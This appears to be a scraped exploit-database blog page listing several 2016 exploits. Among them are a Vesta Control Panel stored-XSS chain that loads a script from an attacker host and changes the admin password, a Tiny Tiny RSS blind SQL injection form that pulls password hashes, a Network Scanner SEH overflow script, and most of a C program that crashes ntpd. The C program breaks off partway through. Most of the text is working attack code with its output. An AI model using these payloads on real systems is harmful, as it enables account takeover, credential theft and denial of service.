# Exploit Title :Vesta Control Panel <= 0.9.8-15 - Persistent XSS Vulnerability
# Vendor Homepage :http://www.vestacp.com
# Version :0.9.8-15
# Exploit Author :Necmettin COSKUN @babayarisi
# Blog :http://ha.cker.io
# Discovery date :16/02/2016
# Tested on :Fedora23 - Chrome/Firefox/Maxthon
We can use user-agent information to attack website like this.
First of all we change our user-agent and add some dangerous javascript code ( XSS etc. )
and then we request to one of the website on target server then it is saved on access.log by server
so when Administrator reads it the javascript code works that we added our user-agent information.
Poc Exploit
================
1.Prepare evil js file
function csrfWithToken(url,hanimisToken,password){
$.get(url, function(gelen) {
$('body').append($(gelen));
$('form[id="vstobjects"]').css("display","none");
var token = $(hanimisToken).attr("token");
$('form[id="vstobjects"]').attr("action",url);
$('input[name="v_password"]').val(password);
$('form[id="vstobjects"]').submit();
});
};
//password = 1234567
csrfWithToken("/edit/user/?user=admin","#token","123456");
2. Make a Get request with evil user-agent to victim server
wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver
3. We wait Administrator to read access.log that injected our evil.js
4. We log-in VestaCP via password we changed
http(s)://victim:8083/
Discovered by:
================
Necmettin COSKUN |GrisapkaGuvenlikGrubu|4ewa2getha!
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863593581
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://code.google.com/p/google-security-research/issues/detail?id=609
The attached fuzz test case causes a crash due to a heap overflow in BitmapData.drawWithQuality.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39467.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=633
The attached flv file causes stack corruption when loaded into Flash. To use the PoC, load LoadMP42.swf?file=lownull.flv from a remote server.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39466.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=635
The attached file causes a crash due to a heap overflow, probably due to an issue in ATF processing by the URLStream class.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39465.zip
# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
$item_id inside process_category_order() is not properly escaped.
We control this value using $_POST['payload'].
http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html
2. Proof of Concept
Login as regular user.
<form method="post" action="http://tiny-tiny-rss/backend.php">
<input type="hidden" name="op" value="pref-feeds">
<input type="hidden" name="method" value="savefeedorder">
<textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}</textarea>
<input type="submit" value="Hack!">
</form>
3. Solution:
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b
#-*- coding: utf-8 -*-
#
# Exploit Title: Network Scanner Version 4.0.0.0 SEH Crash POC
# POC Dork: N/A
# Date: 2016-02-15
# Author: INSECT.B
# Twitter : @INSECT.B
# Facebook : https://www.facebook.com/B.INSECT00
# Blog : http://binsect00.tistory.com
# Vendor Homepage: http://www.mitec.cz/
# Software Link: http://www.mitec.cz/Downloads/NetScan.zip
# Version: 4.0.0.0
# Tested on: Windows7 Professional SP1 En x86
# CVE : N/A
'''
[+] Type : SEH
[-] Insert the string that compile this file in [TOOLS] Tab 'Detect IP from Host name...' field
[-] string : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÌÌÌÌBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
[-] crash info
(2d0.878): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=772571cd esi=00000000 edi=00000000
eip=42424242 esp=0012edd8 ebp=0012edf8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
42424242 ?? ???
0:000> !exchain
0012edec: ntdll!ExecuteHandler2+3a (772571cd)
0012f534: 42424242
Invalid exception stack at cccccccc
0:000> d 12f534
0012f534 cc cc cc cc 42 42 42 42-43 43 43 43 43 43 43 43 ....BBBBCCCCCCCC
0012f544 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f554 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f564 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f574 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f584 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f594 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5a4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0:000> d
0012f5b4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5c4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5d4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5e4 43 43 43 00 95 b4 31 74-84 f6 12 00 00 00 00 00 CCC...1t........
0012f5f4 0a 80 00 00 ea 01 24 00-00 00 00 00 00 00 00 00 ......$.........
0012f604 ab 00 0a e7 34 f6 12 00-e7 c4 06 77 ea 01 24 00 ....4......w..$.
0012f614 15 02 00 00 00 00 00 00-00 00 00 00 15 02 00 00 ................
0012f624 cd ab ba dc 00 00 00 00-84 f6 12 00 15 02 00 00 ................
'''
import struct
junk1 = "A" * 76
nSEH = "\xcc\xcc\xcc\xcc"
SEH = "BBBB"
shell = "C" * 300
payload = junk1 + nSEH + SEH + shell
with open("netEx.txt","wb") as f :
f.write(payload)
print payload
"""
Exploit problem
1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.
Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.
2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)
3. payload was consisted of 'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.
Can't insert shellcode
"""
/*
Ntpd <= ntp-4.2.6p5 ctl_putdata() Buffer Overflow
Author: Marcin Kozlowski <marcinguy@yahoo.com>
Based on: ntpq client from ntp package
Provided for legal security research and testing purposes ONLY
PoC
DoS (Denial of Service) PoC. Will crash NTPd.
You will need to know the KEY ID and MD5 password, for example put this in you ntp.conf
--------------
/etc/ntp.conf
--------------
keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1
and in /etc/ntp.keys
-------------
/etc/ntp.keys
-------------
1 M 1111111
1 is KEY ID
1111111 is MD5 password
Hostname and Port is hardcoded in the code. Change it if you want :)
gcc ntpd-exp.c -o ntpd-exp
./ntpd-exp
Keyid: 1
MD5 Password:
Sending 988 octets
Packet data:
16 08 00 00 00 00 00 00
00 00 03 b7 73 65 74 76
...
00 00 00 01 28 05 99 c2
16 ba a7 b7 8d d3 22 00
0c f7 6a 5f
Sending 36 octets
Packet data:
16 02 00 00 00 00 00 00
00 00 00 01 41 00 00 00
00 00 00 01 7b a5 e6 6e
e7 a7 f7 cd 65 8f 1d 5f
51 92 d0 41
KABOOM Ntpd should crash!!!
GDB output:
Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>)
at ntp_control.c:2300
2300 for (i = 0; ext_sys_var &&
(gdb)
If you want to bypass knowing KEY ID and MD5 Password and execute your payload, read more:
http://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html
*/
#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
typedef unsigned short associd_t; /* association ID */
typedef uint32_t keyid_t;
typedef int SOCKET;
struct sockaddr_in serverAddr;
socklen_t addr_size;
#define CTL_MAX_DATA_LEN 1300
#define MAX_MAC_LEN (6 * sizeof(uint32_t)) /* SHA */
#define MODE_CONTROL 6 /* control mode */
#define CTL_OP_CONFIGURE 8
#define CTL_OP_READVAR 2
#define CTL_OP_MASK 0x1f
#define NID_md5 4
#define NTP_MAXKEY 65535
/*
* Stuff for putting things back into li_vn_mode
*/
#define PKT_LI_VN_MODE(li, vn, md) \
((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
#define MD5STEP(f,w,x,y,z,in,s) \
(w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x)
struct ntp_control {
u_char li_vn_mode; /* leap, version, mode */
u_char r_m_e_op; /* response, more, error, opcode */
u_short sequence; /* sequence number of request */
u_short status; /* status word for association */
associd_t associd; /* association ID */
u_short offset; /* offset of this batch of data */
u_short count; /* count of data in this packet */
u_char data[(1300 + MAX_MAC_LEN)]; /* data + auth */
};
#define NTP_OLDVERSION ((u_char)1)
u_char pktversion = NTP_OLDVERSION + 1;
#define CTL_HEADER_LEN (offsetof(struct ntp_control, data))
/*
* COUNTOF(array) - size of array in elements
*/
#define COUNTOF(arr) (sizeof(arr) / sizeof((arr)[0]))
/*
* Sequence number used for requests. It is incremented before
* it is used.
*/
u_short sequence;
/*
* Flag which indicates we should always send authenticated requests
*/
int always_auth = 0;
/*
* Keyid used for authenticated requests. Obtained on the fly.
*/
u_long info_auth_keyid = 0;
static int info_auth_keytype = NID_md5; /* MD5 */
static size_t info_auth_hashlen = 16; /* MD5 */
int debug = 10;
SOCKET sockfd; /* fd socket is opened on */
char currenthost[256]; /* current host name */
char *progname = "exp";
struct savekey {
struct savekey *next;
union {
u_char MD5_key[64]; /* for keys up to to 512 bits */
} k;
keyid_t keyid; /* key identifier */
int type; /* key type */
u_short flags; /* flags that wave */
u_long lifetime; /* remaining lifetime */
int keylen; /* key length */
};
/*
* The key cache. We cache the last key we looked at here.
*/
keyid_t cache_keyid; /* key identifier */
u_char *cache_key; /* key pointer */
u_int cache_keylen; /* key length */
int cache_type; /* key type */
u_short cache_flags; /* flags that wave */
#define KEY_TRUSTED 0x001 /* this key is trusted */
#define MEMINC 12
#define EVP_MAX_MD_SIZE 64
typedef struct {
uint32_t buf[4];
uint32_t bytes[2];
uint32_t in[16];
} isc_md5_t;
/*
* ntp_md5.h: deal with md5.h headers
*
* Use the system MD5 if available, otherwise libisc's.
*/
typedef isc_md5_t MD5_CTX;
#define MD5Init(c) isc_md5_init(c)
#define MD5Update(c, p, s) isc_md5_update(c, p, s)
#define MD5Final(d, c) isc_md5_final((c), (d)) /* swapped */
/* ssl_init.c */
#ifdef OPENSSL
extern void ssl_init (void);
extern void ssl_check_version (void);
extern int ssl_init_done;
#define INIT_SSL() \
do { \
if (!ssl_init_done) \
ssl_init(); \
} while (0)
#else /* !OPENSSL follows */
#define INIT_SSL() do {} while (0)
#endif
#if defined HAVE_MD5_H && defined HAVE_MD5INIT
# include <md5.h>
#else
typedef isc_md5_t MD5_CTX;
# define MD5Init(c) isc_md5_init(c)
# define MD5Update(c, p, s) isc_md5_update(c, p, s)
# define MD5Final(d, c) isc_md5_final((c), (d)) /* swapped */
#endif
/*
* Provide OpenSSL-alike MD5 API if we're not using OpenSSL
*/
typedef MD5_CTX EVP_MD_CTX;
#define EVP_get_digestbynid(t) NULL
#define EVP_DigestInit(c, dt) MD5Init(c)
#define EVP_DigestUpdate(c, p, s) MD5Update(c, p, s)
#define EVP_DigestFinal(c, d, pdl) \
do { \
MD5Final((d), (c)); \
*(pdl) = 16; \
} while (0)
/*
* The hash table. This is indexed by the low order bits of the
* keyid. We make this fairly big for potentially busy servers.
*/
#define HASHSIZE 64
#define HASHMASK ((HASHSIZE)-1)
#define KEYHASH(keyid) ((keyid) & HASHMASK)
#define min(a,b) (((a) < (b)) ? (a) : (b))
struct savekey *key_hash[HASHSIZE];
u_long authkeynotfound; /* keys not found */
u_long authkeylookups; /* calls to lookup keys */
u_long authnumkeys; /* number of active keys */
u_long authkeyexpired; /* key lifetime expirations */
u_long authkeyuncached; /* cache misses */
u_long authnokey; /* calls to encrypt with no key */
u_long authencryptions; /* calls to encrypt */
u_long authdecryptions; /* calls to decrypt */
struct savekey *authfreekeys;
int authnumfreekeys;
u_long current_time;
/*!
* The core of the MD5 algorithm, this alters an existing MD5 hash to
* reflect the addition of 16 longwords of new data. MD5Update blocks
* the data and converts bytes into longwords for this routine.
*/
void
transform(uint32_t buf[4], uint32_t const in[16]) {
register uint32_t a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
void
byteSwap(uint32_t *buf, unsigned words)
{
unsigned char *p = (unsigned char *)buf;
do {
*buf++ = (uint32_t)((unsigned)p[3] << 8 | p[2]) << 16 |
((unsigned)p[1] << 8 | p[0]);
p += 4;
} while (--words);
}
/*!
* Final wrapup - pad to 64-byte boundary with the bit pattern
* 1 0* (64-bit count of bits processed, MSB-first)
*/
void
isc_md5_final(isc_md5_t *ctx, unsigned char *digest) {
int count = ctx->bytes[0] & 0x3f; /* Number of bytes in ctx->in */
unsigned char *p = (unsigned char *)ctx->in + count;
/* Set the first char of padding to 0x80. There is always room. */
*p++ = 0x80;
/* Bytes of padding needed to make 56 bytes (-8..55) */
count = 56 - 1 - count;
if (count < 0) { /* Padding forces an extra block */
memset(p, 0, count + 8);
byteSwap(ctx->in, 16);
transform(ctx->buf, ctx->in);
p = (unsigned char *)ctx->in;
count = 56;
}
memset(p, 0, count);
byteSwap(ctx->in, 14);
/* Append length in bits and transform */
ctx->in[14] = ctx->bytes[0] << 3;
ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
transform(ctx->buf, ctx->in);
byteSwap(ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset(ctx, 0, sizeof(isc_md5_t)); /* In case it's sensitive */
}
/*!
* Update context to reflect the concatenation of another buffer full
* of bytes.
*/
void
isc_md5_update(isc_md5_t *ctx, const unsigned char *buf, unsigned int len) {
uint32_t t;
/* Update byte count */
t = ctx->bytes[0];
if ((ctx->bytes[0] = t + len) < t)
ctx->bytes[1]++; /* Carry from low to high */
t = 64 - (t & 0x3f); /* Space available in ctx->in (at least 1) */
if (t > len) {
memcpy((unsigned char *)ctx->in + 64 - t, buf, len);
return;
}
/* First chunk is an odd size */
memcpy((unsigned char *)ctx->in + 64 - t, buf, t);
byteSwap(ctx->in, 16);
transform(ctx->buf, ctx->in);
buf += t;
len -= t;
/* Process data in 64-byte chunks */
while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteSwap(ctx->in, 16);
transform(ctx->buf, ctx->in);
buf += 64;
len -= 64;
}
/* Handle any remaining bytes of data. */
memcpy(ctx->in, buf, len);
}
/*!
* Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
* initialization constants.
*/
void
isc_md5_init(isc_md5_t *ctx) {
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bytes[0] = 0;
ctx->bytes[1] = 0;
}
/*
* MD5authencrypt - generate message digest
*
* Returns length of MAC including key ID and digest.
*/
int
MD5authencrypt(
int type, /* hash algorithm */
u_char *key, /* key pointer */
uint32_t *pkt, /* packet pointer */
int length /* packet length */
)
{
u_char digest[EVP_MAX_MD_SIZE];
u_int len;
EVP_MD_CTX ctx;
/*
* Compute digest of key concatenated with packet. Note: the
* key type and digest type have been verified when the key
* was creaded.
*/
INIT_SSL();
EVP_DigestInit(&ctx, EVP_get_digestbynid(type));
EVP_DigestUpdate(&ctx, key, (u_int)cache_keylen);
EVP_DigestUpdate(&ctx, (u_char *)pkt, (u_int)length);
EVP_DigestFinal(&ctx, digest, &len);
memmove((u_char *)pkt + length + 4, digest, len);
return (len + 4);
}
/*
* authhavekey - return one and cache the key, if known and trusted.
*/
int
authhavekey(
keyid_t keyno
)
{
struct savekey *sk;
authkeylookups++;
if (keyno == 0 || keyno == cache_keyid)
return (1);
/*
* Seach the bin for the key. If found and the key type
* is zero, somebody marked it trusted without specifying
* a key or key type. In this case consider the key missing.
*/
authkeyuncached++;
sk = key_hash[KEYHASH(keyno)];
while (sk != NULL) {
if (keyno == sk->keyid) {
if (sk->type == 0) {
authkeynotfound++;
return (0);
}
break;
}
sk = sk->next;
}
/*
* If the key is not found, or if it is found but not trusted,
* the key is not considered found.
*/
if (sk == NULL) {
authkeynotfound++;
return (0);
}
if (!(sk->flags & KEY_TRUSTED)) {
authnokey++;
return (0);
}
/*
* The key is found and trusted. Initialize the key cache.
*/
cache_keyid = sk->keyid;
cache_type = sk->type;
cache_flags = sk->flags;
cache_key = sk->k.MD5_key;
cache_keylen = sk->keylen;
return (1);
}
/*
* authencrypt - generate message authenticator
*
* Returns length of authenticator field, zero if key not found.
*/
int
authencrypt(
keyid_t keyno,
uint32_t *pkt,
int length
)
{
/*
* A zero key identifier means the sender has not verified
* the last message was correctly authenticated. The MAC
* consists of a single word with value zero.
*/
authencryptions++;
pkt[length / 4] = htonl(keyno);
if (keyno == 0) {
return (4);
}
if (!authhavekey(keyno))
return (0);
return (MD5authencrypt(cache_type, cache_key, pkt, length));
}
/*
* authtrust - declare a key to be trusted/untrusted
*/
void
authtrust(
keyid_t keyno,
u_long trust
)
{
struct savekey *sk;
/*
* Search bin for key; if it does not exist and is untrusted,
* forget it.
*/
sk = key_hash[KEYHASH(keyno)];
while (sk != 0) {
if (keyno == sk->keyid)
break;
sk = sk->next;
}
if (sk == 0 && !trust)
return;
/*
* There are two conditions remaining. Either it does not
* exist and is to be trusted or it does exist and is or is
* not to be trusted.
*/
if (sk != 0) {
if (cache_keyid == keyno) {
cache_flags = 0;
cache_keyid = 0;
}
/*
* Key exists. If it is to be trusted, say so and
* update its lifetime. If not, return it to the
* free list.
*/
if (trust > 0) {
sk->flags |= KEY_TRUSTED;
if (trust > 1)
sk->lifetime = current_time + trust;
else
sk->lifetime = 0;
return;
}
sk->flags &= ~KEY_TRUSTED; {
struct savekey *skp;
skp = key_hash[KEYHASH(keyno)];
if (skp == sk) {
key_hash[KEYHASH(keyno)] = sk->next;
} else {
while (skp->next != sk)
skp = skp->next;
skp->next = sk->next;
}
authnumkeys--;
sk->next = authfreekeys;
authfreekeys = sk;
authnumfreekeys++;
}
return;
}
/*
* Here there is not key, but the key is to be trusted. There
* seems to be a disconnect here. Here we allocate a new key,
* but do not specify a key type, key or key length.
*/
if (authnumfreekeys == 0)
if (auth_moremem() == 0)
return;
sk = authfreekeys;
authfreekeys = sk->next;
authnumfreekeys--;
sk->keyid = keyno;
sk->type = 0;
sk->keylen = 0;
sk->flags = KEY_TRUSTED;
sk->next = key_hash[KEYHASH(keyno)];
key_hash[KEYHASH(keyno)] = sk;
authnumkeys++;
return;
}
/*
* auth_moremem - get some more free key structures
*/
int
auth_moremem(void)
{
struct savekey *sk;
int i;
sk = (struct savekey *)calloc(MEMINC, sizeof(struct savekey));
if (sk == 0)
return (0);
for (i = MEMINC; i > 0; i--) {
sk->next = authfreekeys;
authfreekeys = sk++;
}
authnumfreekeys += MEMINC;
return (authnumfreekeys);
}
void
MD5auth_setkey(
keyid_t keyno,
int keytype,
const u_char *key,
const int len
)
{
struct savekey *sk;
/*
* See if we already have the key. If so just stick in the
* new value.
*/
sk = key_hash[KEYHASH(keyno)];
while (sk != NULL) {
if (keyno == sk->keyid) {
sk->type = keytype;
sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
memcpy(sk->k.MD5_key, key, sk->keylen);
#else
strncpy((char *)sk->k.MD5_key, (const char *)key,
sizeof(sk->k.MD5_key));
#endif
if (cache_keyid == keyno) {
cache_flags = 0;
cache_keyid = 0;
}
return;
}
sk = sk->next;
}
/*
* Need to allocate new structure. Do it.
*/
if (0 == authnumfreekeys && !auth_moremem())
return;
sk = authfreekeys;
authfreekeys = sk->next;
authnumfreekeys--;
sk->keyid = keyno;
sk->type = keytype;
sk->flags = 0;
sk->lifetime = 0;
sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
memcpy(sk->k.MD5_key, key, sk->keylen);
#else
strncpy((char *)sk->k.MD5_key, (const char *)key,
sizeof(sk->k.MD5_key));
#endif
sk->next = key_hash[KEYHASH(keyno)];
key_hash[KEYHASH(keyno)] = sk;
#ifdef DEBUG
if (debug > 1) {
char hex[] = "0123456789abcdef";
int j;
printf("auth_setkey: key %d type %d len %d ", sk->keyid,
sk->type, sk->keylen);
for (j = 0; j < sk->keylen; j++)
printf("%c%c", hex[key[j] >> 4],
hex[key[j] & 0xf]);
printf("\n");
}
#endif
authnumkeys++;
}
/*
* Types of ascii representations for keys. "Standard" means a 64 bit
* hex number in NBS format, i.e. with the low order bit of each byte
* a parity bit. "NTP" means a 64 bit key in NTP format, with the
* high order bit of each byte a parity bit. "Ascii" means a 1-to-8
* character string whose ascii representation is used as the key.
*/
int
authusekey(
keyid_t keyno,
int keytype,
const u_char *str
)
{
const u_char *cp;
int len;
cp = str;
len = strlen((const char *)cp);
if (len == 0)
return 0;
MD5auth_setkey(keyno, keytype, str, (int)strlen((const char *)str));
return 1;
}
/*
* keytype_name returns OpenSSL short name for digest by NID.
*
* Used by ntpq and ntpdc keytype()
*/
const char *
keytype_name(
int nid
)
{
static const char unknown_type[] = "(unknown key type)";
const char *name;
#ifdef OPENSSL
INIT_SSL();
name = OBJ_nid2sn(nid);
if (NULL == name)
name = unknown_type;
#else /* !OPENSSL follows */
if (NID_md5 == nid)
name = "MD5";
else
name = unknown_type;
#endif
return name;
}
/*
* getpass_keytype() -- shared between ntpq and ntpdc, only vaguely
* related to the rest of ssl_init.c.
*/
char *
getpass_keytype(
int keytype
)
{
char pass_prompt[64 + 11 + 1]; /* 11 for " Password: " */
snprintf(pass_prompt, sizeof(pass_prompt),
"%.64s Password: ", keytype_name(keytype));
return getpass(pass_prompt);
}
int
authistrusted(
keyid_t keyno
)
{
struct savekey *sk;
if (keyno == cache_keyid)
return ((cache_flags & KEY_TRUSTED) != 0);
authkeyuncached++;
sk = key_hash[KEYHASH(keyno)];
while (sk != 0) {
if (keyno == sk->keyid)
break;
sk = sk->next;
}
if (sk == 0) {
authkeynotfound++;
return (0);
} else if (!(sk->flags & KEY_TRUSTED)) {
authkeynotfound++;
return (0);
}
return (1);
}
u_long
getkeyid(
const char *keyprompt
)
{
int c;
FILE *fi;
char pbuf[20];
size_t i;
size_t ilim;
#ifndef SYS_WINNT
if ((fi = fdopen(open("/dev/tty", 2), "r")) == NULL)
#else
if ((fi = _fdopen(open("CONIN$", _O_TEXT), "r")) == NULL)
#endif /* SYS_WINNT */
fi = stdin;
else
setbuf(fi, (char *)NULL);
fprintf(stderr, "%s", keyprompt); fflush(stderr);
for (i = 0, ilim = COUNTOF(pbuf) - 1;
i < ilim && (c = getc(fi)) != '\n' && c != EOF;
)
pbuf[i++] = (char)c;
pbuf[i] = '\0';
if (fi != stdin)
fclose(fi);
return (u_long) atoi(pbuf);
}
void
warning(
const char *fmt,
const char *st1,
const char *st2
)
{
(void) fprintf(stderr, "%s: ", progname);
(void) fprintf(stderr, fmt, st1, st2);
(void) fprintf(stderr, ": ");
perror("");
}
int
sendpkt(
void * xdata,
size_t xdatalen
)
{
if (debug >= 3)
printf("Sending %lu octets\n", (u_long)xdatalen);
sendto(sockfd,xdata,(size_t)xdatalen, 0,(struct sockaddr *)&serverAddr,addr_size);
if (debug >= 4) {
int first = 8;
char *cdata = xdata;
